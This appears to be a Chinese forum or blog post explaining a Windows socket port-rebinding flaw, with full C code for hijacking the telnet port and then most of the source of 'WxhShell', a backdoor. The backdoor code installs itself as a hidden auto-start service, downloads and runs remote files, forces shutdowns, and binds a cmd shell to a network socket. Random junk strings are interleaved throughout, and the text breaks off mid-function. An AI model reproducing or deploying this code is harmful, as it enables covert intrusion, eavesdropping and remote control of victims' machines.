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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D>^g2!b: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H!6+x*P0 4e?bkC saddr.sin_family = AF_INET; H DD)AM&p &EYoviFp saddr.sin_addr.s_addr = htonl(INADDR_ANY); >j7]gi( t3g+>U_m bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w ~"%&SNN E^gN]Z"O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?bu=QV@ p5py3k 这意味着什么?意味着可以进行如下的攻击: )*R';/zaI MIyT9",Pl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,6#%+u}f WJ)4rQ$o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .LDp.#d9r1 LitdO>%#2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k
]T .XkD2~; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %pH|2VB# O,-NzGs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 miTff[hsMa I;1)a4Xc4R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2ga8 G4dU Sk C.A? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b#"&]s- S>p0{:zM #include v,8Q9<=O #include AC 2kG #include I}f7|hYX #include f& \Bs8la DWORD WINAPI ClientThread(LPVOID lpParam); $pKegK;'z int main() xX9snSGz { r&Qa;-4Pl WORD wVersionRequested; #d<|_ DWORD ret; |H]0pbC)w WSADATA wsaData; 1G67#L)USq BOOL val; #0Uz1[ SOCKADDR_IN saddr; o2hk!#5[4 SOCKADDR_IN scaddr; [c lwmx int err; eE=2~
ylU SOCKET s; _~D#?cFY6 SOCKET sc; #6~Bg)7AM int caddsize; =9`UcTSi6p HANDLE mt; (2QfH$HEk DWORD tid; >qOj^WO~ wVersionRequested = MAKEWORD( 2, 2 ); .)Pul|)d err = WSAStartup( wVersionRequested, &wsaData ); ]zCD1*) if ( err != 0 ) { BX6kn/i
printf("error!WSAStartup failed!\n"); \t/0Yh-' return -1; e*}GQ } W'f"kM saddr.sin_family = AF_INET; 4e;$+!dlV %3|/t-US //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4eG\>#5 }N ).$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TI<3>R saddr.sin_port = htons(23); n)Cr<^j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )''V}Zn.X { ^E Rdf2 printf("error!socket failed!\n"); KZ%us 6 return -1; (;^>G[ } GQJ4d-w val = TRUE; s$(%?,yf2 //SO_REUSEADDR选项就是可以实现端口重绑定的 Bd)Cijr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [}GK rI { B"\9sl X printf("error!setsockopt failed!\n"); "wg$ H1K return -1; AL^tUcl } W}2!~ep! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6O.kKhk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (9TSH3f? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z
h9D^I LH=^3Gw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >Yk|(!v { ?Yf
v^DQ5 ret=GetLastError(); 1E'PSq printf("error!bind failed!\n"); ,!GoFu return -1; 2K
o]Q_,~ } {&^PDa|nD listen(s,2); 4zt:3bWU while(1) 9Li&0E { ;+|Z5+7!6 caddsize = sizeof(scaddr); GA/afc,V //接受连接请求 'Ha> >2M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vdQ#CG$/ if(sc!=INVALID_SOCKET) INp:; { `4X.UPJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5*-RIs! 2 if(mt==NULL) m"n" 1;o= { c3ru4o*K printf("Thread Creat Failed!\n"); :g'
'GqGZ break; zxIP-QaA } HwZl"!;Mry } HC1<zW[ CloseHandle(mt); nCp_RJu } e57R6g)4 closesocket(s); <|?)^;R5! WSACleanup(); k9<UDg_ Y return 0; 6&0G'PMf } ;H`@x Lv* DWORD WINAPI ClientThread(LPVOID lpParam) /DyeMCY- { %6rSLBw3 SOCKET ss = (SOCKET)lpParam; mvc ;.+ SOCKET sc; nnN$?'%~6 unsigned char buf[4096]; K|$c#X SOCKADDR_IN saddr; Fj2z$ long num; cQ1Axs TO DWORD val; -$:*!55:j DWORD ret; ;Ss!OFK //如果是隐藏端口应用的话,可以在此处加一些判断 L-S5@;" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 'UxI-Lt saddr.sin_family = AF_INET; m&DI2he saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @9n|5.i saddr.sin_port = htons(23); w0Ex} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~Dz:n]Vk/ { }o7- 3!{L! printf("error!socket failed!\n"); O"EL3$9V return -1; gPc1oc( } :4Nv6X61 val = 100; L(u@%.S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IGVq`Mxj { }!> \Ja<\ ret = GetLastError(); g-_=$#&{ return -1; oYA"8ei = } g\8B; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5}Ge { ^ <`SUBI ret = GetLastError(); vV$^`WY4 return -1; TOKt{`2} } _e;bB?S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *{j;LA.BR# { 67&Q<`V1*q printf("error!socket connect failed!\n"); DNqV]N_W closesocket(sc); )V>zXy}Y closesocket(ss); -3~S{) return -1; He5y;5 } LklE,W while(1) ]v),[]Xs { +/eJ#Xw3u8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y3FFi M[s~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 T}1" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3`vKEThY) num = recv(ss,buf,4096,0); K@%T5M4j if(num>0) dY0W=,X$7T send(sc,buf,num,0); 5pDE!6gQ else if(num==0) 2-N7%]h break; mwsBj) num = recv(sc,buf,4096,0); "=C~IW if(num>0) .m8l\h^3 send(ss,buf,num,0); KnA BFH else if(num==0) @ NL<v-t break; 2)\MxvfOh } ((#BU=0iK closesocket(ss); NB'G{),)Z closesocket(sc); qLb~^'<iD return 0 ; \b"|p%CL8 } hEZo{0:b" 9I
[:#,zdf 50Gu~No6 ========================================================== `$FX%p eFS$ ;3FP1 下边附上一个代码,,WXhSHELL @M-Q| K0C"s'q ========================================================== k}E_1_S( _z%~m2SP #include "stdafx.h" 4guR8 elM t\
z@k9 #include <stdio.h> &=M4Z/Ao #include <string.h> &Z!y>k%6 #include <windows.h> yih|6sd$F #include <winsock2.h> 2Og5e #include <winsvc.h> ,xrA2 #include <urlmon.h> cT@|
$A >eo[)Y #pragma comment (lib, "Ws2_32.lib") ||TZ[l #pragma comment (lib, "urlmon.lib") ):Z#!O< oMLs22Do? #define MAX_USER 100 // 最大客户端连接数 bc~WJ+ #define BUF_SOCK 200 // sock buffer pV(Mh[ }P #define KEY_BUFF 255 // 输入 buffer YU+P+m2X N#RC; #define REBOOT 0 // 重启 1,$"'lKwt #define SHUTDOWN 1 // 关机 X[$|I9 %g5#q64 #define DEF_PORT 5000 // 监听端口 J!6w9,T_ 8rlf9m #define REG_LEN 16 // 注册表键长度 lc~c=17 #define SVC_LEN 80 // NT服务名长度
E^5 mS;WNlm\ // 从dll定义API -}j(_]t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )p;t
'*] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8EdaqF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +e*C`uP! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J?dz>3Rhx9 FW;}S9u3 // wxhshell配置信息 -:'%YHxX struct WSCFG { NT5##XOB int ws_port; // 监听端口 )F&.0 ' char ws_passstr[REG_LEN]; // 口令 n/*" 2 int ws_autoins; // 安装标记, 1=yes 0=no qa@;S,lp char ws_regname[REG_LEN]; // 注册表键名 SDS P4W5 char ws_svcname[REG_LEN]; // 服务名 tq~f9EvC char ws_svcdisp[SVC_LEN]; // 服务显示名 GhcH"D%- char ws_svcdesc[SVC_LEN]; // 服务描述信息 PZ'|) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wtk|}>Pf int ws_downexe; // 下载执行标记, 1=yes 0=no 5%QYe]D char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2^Im~p~ByE char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aZ{ l6 [PiMu,O[v }; SEg{Gso9b [Y.JC'F# // default Wxhshell configuration g$"x,:2x{ struct WSCFG wscfg={DEF_PORT, ujBm"p_| "xuhuanlingzhe", B:UPSX)A 1, %uV,p!| ) "Wxhshell", #
c1LOz "Wxhshell", 5Rw2/J
L "WxhShell Service", e:4,rfF1 "Wrsky Windows CmdShell Service", hJ[keaO "Please Input Your Password: ", }1V+8'D 1, JzCkVF$ " http://www.wrsky.com/wxhshell.exe", Z rNH:Z:5 "Wxhshell.exe" 3Rsrb }; \r{wNqyv ThW9=kzQW // 消息定义模块 mAW(j@5sp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lf
KV% char *msg_ws_prompt="\n\r? for help\n\r#>"; _dAn/rj
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9
;uw3vI% char *msg_ws_ext="\n\rExit."; BdU .;_K char *msg_ws_end="\n\rQuit."; @gf <%> char *msg_ws_boot="\n\rReboot..."; Gl3g.`X{$@ char *msg_ws_poff="\n\rShutdown..."; j"TEp$x char *msg_ws_down="\n\rSave to "; CKFr9bT{ Iix:Y} char *msg_ws_err="\n\rErr!"; {&D$U'ye char *msg_ws_ok="\n\rOK!"; 76 o[qay ;ZcwgsxTM char ExeFile[MAX_PATH]; 4L`,G:J,; int nUser = 0; :2NV;7Wke6 HANDLE handles[MAX_USER]; [)8O\/: int OsIsNt; CK4#ZOiaa }uaFmXy3 SERVICE_STATUS serviceStatus; Gf.xr%mUZr SERVICE_STATUS_HANDLE hServiceStatusHandle; 5\}Y=Pa vmOye/?k // 函数声明 n!X%i+|4x int Install(void); HpUJ_pZ int Uninstall(void); o.|36#Fa int DownloadFile(char *sURL, SOCKET wsh); o>d0R
w4h int Boot(int flag); ?/hS1yD; void HideProc(void); x#5[i;-c int GetOsVer(void); Q;=4']hYU int Wxhshell(SOCKET wsl); [9~EH8 void TalkWithClient(void *cs); 7TypzgXNe int CmdShell(SOCKET sock); vmfFR int StartFromService(void); [4B(rra int StartWxhshell(LPSTR lpCmdLine); vfhoN]v $/JXI?K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P@5-3]m= VOID WINAPI NTServiceHandler( DWORD fdwControl ); r]QeP{ F/j ; q // 数据结构和表定义 0v1~#KCm SERVICE_TABLE_ENTRY DispatchTable[] = +9t{ovF?L { YbWz!.WPe {wscfg.ws_svcname, NTServiceMain}, `-b{|a J {NULL, NULL} aYpc\jJ }; C9k"QPE _Fv6S}~Q // 自我安装 Oo(xYy int Install(void) NL-PQ%lUA { "la0@/n char svExeFile[MAX_PATH]; :*|So5fs HKEY key; .Q@]+&`|}i strcpy(svExeFile,ExeFile); F>[^m Xw 9aIv|cS? // 如果是win9x系统,修改注册表设为自启动 Q($@{[lT if(!OsIsNt) { 3]'h(C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )NZ&m$I|- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0N4ZV}s,d RegCloseKey(key); 7hMh%d0d(_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _:Y|a> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !&@t RegCloseKey(key); "?
V;C return 0; 4-'0# a } m%"=sX7/9 } =Bh,>Kg } G$Fo*;Fl else { mN R}%s
g}9heR // 如果是NT以上系统,安装为系统服务 [6.<#_~{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #zSNDv` if (schSCManager!=0) h.- o$+Sa { =bvLMpa SC_HANDLE schService = CreateService r"x}=# b! ( `\3RFr schSCManager, e(DuJ- wscfg.ws_svcname, 0s}gg[lj wscfg.ws_svcdisp, {ynI]Wj`L SERVICE_ALL_ACCESS, v6x jLP;O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 33hP/p% SERVICE_AUTO_START, PIQd=%?' SERVICE_ERROR_NORMAL, qla=LS\-A+ svExeFile, b1=! "Y@ NULL, E J6|y' NULL, iQCs8hIR NULL, _qt NULL, 2AxKB+c1` NULL a~-k} G5 ); %^"i\-*|S if (schService!=0) 4m~p(r { kqC7^x CloseServiceHandle(schService); S|yDGT1 CloseServiceHandle(schSCManager); y=SpIbn{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B&*`A&^y strcat(svExeFile,wscfg.ws_svcname); -&v0JvTJ9j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r>"l:GZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .0X 5Vy RegCloseKey(key); ;\/RgN return 0; G(hnrRxn } #xhl@=W; } ;'<SsI CloseServiceHandle(schSCManager); t`V U< } EzCi%>q } YsTF10 Ac
+fL return 1; QNj6ETB-d } sN1I+X /" &Jf}r // 自我卸载 &&96kg3 int Uninstall(void) '0qKb* { Q b5vyV ` HKEY key; $KGRpI #_Lgo
if(!OsIsNt) { j(_6.zf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/zir$ RegDeleteValue(key,wscfg.ws_regname); ( M3-S5
RegCloseKey(key); 5* ~EdT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0{Zwg0& RegDeleteValue(key,wscfg.ws_regname); = o1&.v2j RegCloseKey(key); nC9xN return 0; s8r[U, }( } P&Hhq>@Z } R}OjSiS\ } w~e$ul(IQM else { 6ZGw 3p) 5@i(pVWZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r"KW\HN8 if (schSCManager!=0) (xBWxeL~ { k]A$?C0Q<% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "j}fcrlG9 if (schService!=0) Bjb8#n04 { BUla2p if(DeleteService(schService)!=0) { :YmFQ>e? CloseServiceHandle(schService); $\nAGmp@ CloseServiceHandle(schSCManager); CX>QP&Gj return 0; `ItPTSOi } <r8s=<: CloseServiceHandle(schService); r5!Sps3B } FWpb5jc)3 CloseServiceHandle(schSCManager); r@H7J 5<Y- } thQ)J |1 } vnv:YQV/ir p+{*&Hm5 return 1; 7{u1ynt } Eg]tDPN1 8lT2qqlr // 从指定url下载文件 :x_;- int DownloadFile(char *sURL, SOCKET wsh) OjY#xO+' { /q6
^.>b HRESULT hr; 0BHSeO, char seps[]= "/"; ,Je9]XT char *token; kQ
$.g< char *file; @ u2P&|:{ char myURL[MAX_PATH]; 4-\gha char myFILE[MAX_PATH]; $3:O}X> $N17GqoC strcpy(myURL,sURL); +Zi@+|"BCN token=strtok(myURL,seps); )?,X\/5 while(token!=NULL) 3Qoa?* { >=3ay^(Y2D file=token; =%G<S'2' token=strtok(NULL,seps); H83/X,"!w } TmO3hKaP ]$
iqJL GetCurrentDirectory(MAX_PATH,myFILE); ugMfpT) strcat(myFILE, "\\"); 6 2#dSd}HG strcat(myFILE, file); '/H+ send(wsh,myFILE,strlen(myFILE),0); $56Z/* send(wsh,"...",3,0); D= LLm$y
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dQH9NsV7g if(hr==S_OK) J+20]jI return 0; v6_fF5N/ else !Won<:.[0 return 1; h(wu5G0C#u 9 54O=9PQ } h oL"K pz@wbu=($4 // 系统电源模块 n{v[mqm^ int Boot(int flag) dAj;g9N/h { $bT<8:g HANDLE hToken; P% ZCACzV TOKEN_PRIVILEGES tkp; OKp0@A)8 {Kkut?5 if(OsIsNt) { 2YL)"
w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;wvhe;! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Eett)4 tkp.PrivilegeCount = 1; xxC2F:Q?U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h
TY7`m"> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'WLh
D< if(flag==REBOOT) { !XJS"o wr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b )mU9 return 0; \gjYh2> } 0($ O1j~$ else { y7)$~R):- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yw9)^JU8" return 0; h1`u-tc2x } Gh #$[5&` } ",gWO8T else { tE]0
#B)D< if(flag==REBOOT) { MTxe5ob`$Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y.'5*08S0 return 0; %qf ?_2v } W8R"X~!V else { _R?:?{r, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ic_q<Y} return 0; LmQS;/: } Y^~Dr|5% } )k}UjU`! >SR!*3$5 return 1; chr^>%Q_ } D[ -Gzqh hLf<-NM // win9x进程隐藏模块 7P$>T void HideProc(void) xJ18M@"j { i{
" g7 :n} NQzs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2!+saf^-, if ( hKernel != NULL ) m$X0O_*A { qz
.{[l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +7]]=e<[E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g~i%*u,Y< FreeLibrary(hKernel); +jPs0?}s } [9S? zJ2dPp~u return; aX'R&R } w`")^KXi e
MT5bn // 获取操作系统版本 @d]a#ypU int GetOsVer(void) >w~Hq9 { nA#FGfZ{Ge OSVERSIONINFO winfo; *$eMM*4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sD[G?X GetVersionEx(&winfo); Fuuy_+p@G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W"a% IO%' return 1; 3+j!{tJ
z2 else a$r<%a6 return 0; L(bYG0ZI5C } 2#y!(D8 V"T48~Ue // 客户端句柄模块 j(|9>J*,~G int Wxhshell(SOCKET wsl) /Dl{I7W { XAb!hc
SOCKET wsh; >)sB#<e struct sockaddr_in client; TzJp3 DWORD myID; pSvqGJU3 dfss_}R while(nUser<MAX_USER) 4._U { pW>?%ft. int nSize=sizeof(client); cR0OJ'w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~x:B@Ow if(wsh==INVALID_SOCKET) return 1; $ MN1:ih CQ`$' oy?W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <oc"!c;T if(handles[nUser]==0) xElHYh(\ closesocket(wsh); :Rq>a@Rp else 5w#
Ceg9 nUser++; 2tq~NA\#t } Kn!n}GtR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 )W{C> rLU+-_ return 0; z,"fr%*,N } ?Z]5
[ |@a.dgz, // 关闭 socket ;E"TOC void CloseIt(SOCKET wsh) [-*1M4D9 { ?'@tx4#v\2 closesocket(wsh); d1"%sI nUser--; 3j]P\T ExitThread(0); }5 2] } a=m7pe^ 0\N n.x% // 客户端请求句柄 TbY<(wrMZ void TalkWithClient(void *cs) ac-R q.GQY { m,,FNYW 5V|D%t2N SOCKET wsh=(SOCKET)cs; <)vjoRv char pwd[SVC_LEN]; ]%RX\~Q.4 char cmd[KEY_BUFF]; K|n$-WDG} char chr[1]; ^WZcM#~TL int i,j; |)7dh B ? ^EB"{ while (nUser < MAX_USER) { Y~|C]O Y_H|Fl^ if(wscfg.ws_passstr) { a<W[???m/M if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1h"CjOp,7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u9.x31^ //ZeroMemory(pwd,KEY_BUFF); -W^jmwM i=0; Y'75DE<BC while(i<SVC_LEN) { x2^Yvgc- S-M|
6fv // 设置超时 | m^qA](M fd_set FdRead; 80p? qe struct timeval TimeOut; C1/<t)^ FD_ZERO(&FdRead); y}'c)u FD_SET(wsh,&FdRead); %,l+?fF TimeOut.tv_sec=8; eX;Tufe*(Q TimeOut.tv_usec=0; {iyO96YI[^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M=mzl750M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &m>yY{be TTJFF\$? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,}("es\b pwd =chr[0]; x"n!nT%Z if(chr[0]==0xd || chr[0]==0xa) { aetK<9L$ pwd=0; dW32O2@- break; /GzA89N( } 63J_u-o i++; `*A!vO8 } 5BL4VGwJ Lq&;`)BJ // 如果是非法用户,关闭 socket `W3;LTPEb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S690Y]:h$v } h\jV@g$ wTpjM@F?J| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * 5H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7+,6m!4 bVB_KE while(1) { iK#5nY]. Q\P?[i] ZeroMemory(cmd,KEY_BUFF); @E(_H$|E ( 5^bU< // 自动支持客户端 telnet标准 6vx0F?>_ j=0; Hcp)Q76X while(j<KEY_BUFF) { F~NmLm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A,tmy',d" cmd[j]=chr[0]; d!V;\w if(chr[0]==0xa || chr[0]==0xd) { [r_YQ*+ej cmd[j]=0; A]z~Dw3
break; {Hv/|.),hu } M@G <I]\ j++; PRs[!EB6 } X&B2&e; $_j\b4]% // 下载文件 qdlz#-B if(strstr(cmd,"http://")) { .,)C^hs@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dlc=[kf9 if(DownloadFile(cmd,wsh)) F__(iXxC send(wsh,msg_ws_err,strlen(msg_ws_err),0); {^r8uKo:~ else q8 j
W&_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *PXlbb } )FNvtLZ else { '7+e!>" /[[_}\xI% switch(cmd[0]) { i\2d1Z J 8/]&Ow // 帮助 #cN0ciCT' case '?': { 7e{w)m:A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5hVp2w- break; GI&XL'K& } \S[7-:Lu^ // 安装 E>/kNl case 'i': { .L,xqd[zC if(Install()) N36<EHq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J
0=HbH else @Axwj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I:6N?lD4}0 break; r%M.rYLG{ } So?ScX\lG // 卸载 FME&vUh/ case 'r': { .
6wyu7oK if(Uninstall()) w]4=uL6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]'RwI else (J c} K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZT
UaF4k j break; MwoU>+XB } (+@
Lnz\ // 显示 wxhshell 所在路径 3?Ml]=u case 'p': { E%R^
kqqr char svExeFile[MAX_PATH]; >~;MQDU5*Y strcpy(svExeFile,"\n\r"); Kq`C5 strcat(svExeFile,ExeFile); y^7ol;t send(wsh,svExeFile,strlen(svExeFile),0); {Vc%g a|E break; dQ4VpR9|; } %J*z!Fe8s // 重启
:Hk:Goo2 case 'b': { .'zXO send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >s@*S9cj: if(Boot(REBOOT)) pEc|h*p8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8PWx>}XPt else { =")}wl=s closesocket(wsh); <A"T_Rk ExitThread(0); 7Z-'@m } ?o@5PL break;
E *[dc } 8PQn=k9 // 关机 ~m
,xG case 'd': { zp"Lp>i send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )!h(o R if(Boot(SHUTDOWN)) `rt send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yx- 2ux else { 0 mJvoz\j8 closesocket(wsh); K;%P_f/KJP ExitThread(0); E7A psi4] } d(.e%[` break; % D]vKv~< } zTDB]z!A // 获取shell Hzr<i4Y=w9 case 's': { -WDU~VSU CmdShell(wsh); ]7qn&(] closesocket(wsh); Uu~7+oaQ ExitThread(0); <h(KIY9T break; tx$kD2 } jo75MSj // 退出 7Ao9MF- case 'x': { gWt}q-@nRR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hdL/zW7] CloseIt(wsh); vwVK^B break; &PHejG_# } 3F5Y#[L` // 离开 RlRkw+%m case 'q': { _[zZm* send(wsh,msg_ws_end,strlen(msg_ws_end),0); I{8fTod closesocket(wsh); hT`kma WSACleanup(); dP>~ExYtm exit(1); 6S#Y$2
P break; *R] Ob9X } VR86ok } K>=KsG } ?F{sym@i ^Eu]i // 提示信息 4uQ\JD(*Eu if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CqMm'6;$a} } <Fkm7ME] } "/ N ?$ >FO4] return; =oN(1k^ } 2K^D%U sVk+E'q // shell模块句柄 qPh
@Bl3 int CmdShell(SOCKET sock) |Ai/q6u { DuESLMhz STARTUPINFO si; iFJ2dFA ZeroMemory(&si,sizeof(si)); }6;K+INT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3V)ef$Y0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8nt3Sm PROCESS_INFORMATION ProcessInfo; {M`yYeo char cmdline[]="cmd"; 9g*O;0 uz CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =?o, ' n0 return 0; ~0}gRpMW } i!H)@4jX &|/@;EA$8 // 自身启动模式 4o+SSS int StartFromService(void) RJpH1XQ
j { O$Wi=5 typedef struct 1u?h4wC { #w%d DWORD ExitStatus; )7$1Da|. DWORD PebBaseAddress; @DiXe[kI DWORD AffinityMask; J1i{n7f=@ DWORD BasePriority; t)#8r,9c ULONG UniqueProcessId; Gv
